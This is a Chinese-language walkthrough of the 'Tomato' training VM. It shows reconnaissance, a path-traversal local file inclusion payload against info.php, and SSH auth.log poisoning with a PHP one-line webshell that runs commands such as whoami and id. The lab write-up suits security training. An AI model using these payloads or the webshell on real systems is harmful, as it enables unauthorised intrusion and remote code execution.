0x00部署
Tomato靶机:下载地址
宿主机:kali
目标:获取root拿到flag文件
0x01信息收集
1.主机发现
首先将下载好的靶机与攻击机kali都设置为nat模式
然后查看靶机的mac地址
最后在kali使用root用户输入arp-scan -l 查看ip
2.端口扫描
nmap -A 192.168.182.182 -p-
开放21,80,2211,8888端口
通过结果信息可知,http title名称,这里还给出了ssh-hostkey等信息。
3.查看80端口Web服务
看到一张大西红柿照片,页面源码也没有可利用的东西,下一步尝试寻找敏感路径
4 使用dirsearch进行目录遍历
未发现有价值的目录,尝试换个字典再试试
dirb http://192.168.182.182
找到目录
5 访问http://192.168.182.182/antibot_image/
接下来我们在目录中寻找有价值信息
6.在路径中发现两个重要信息
1.info.php phpinfo信息
2.screenshot-3.jpg 展示此系统使用了AntiBotPlugin插件
0x02漏洞发现
1 在phpinfo页面查看源代码
在页面源代码中我们需要注意两个方面,一方面是注释内容,一方面是发现从页面到后端的应用程序接口或脚本内容
include语句会获取指定文件中存在的所有文本/代码/标记,文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码
2 此处我们怀疑存在文件包含漏洞,image函数就是可以包含其他文件
http://192.168.182.182/antibot_image/antibots/info.php?image=../../../../../etc/passwd
3 因为远程文件包含关闭,我们尝试进行本地文件包含
4 日志文件分析
在多次尝试后,发现/var/log/auth.log中记录了FTP和SSH的登录服务,我们使用root和root123123123123123账户尝试ssh登录,可以看到被写入到了auth.log日志文件中,如果我们换成一句话木马内容,并且写入到此日志文件中,就可以使用系统目前的文件包含漏洞加载此日志文件,加载一句话木马。
我们的kali请求ssh连接被写入到日志文件中
5 我们尝试写入一句话木马
ssh <?php echo system($_GET["jason"]); ?>@192.168.182.182 2211
发现日志文件中并没有我们输入的这串php代码<?php echo system($_GET["jason"]); ?>,证明系统执行了php代码,而不是以文本的方式运行
6 访问一句话木马
命令成功执行,说明一句话写入成功
view-source:192.168.182.182/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=whoami
view-source:192.168.182.182/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=id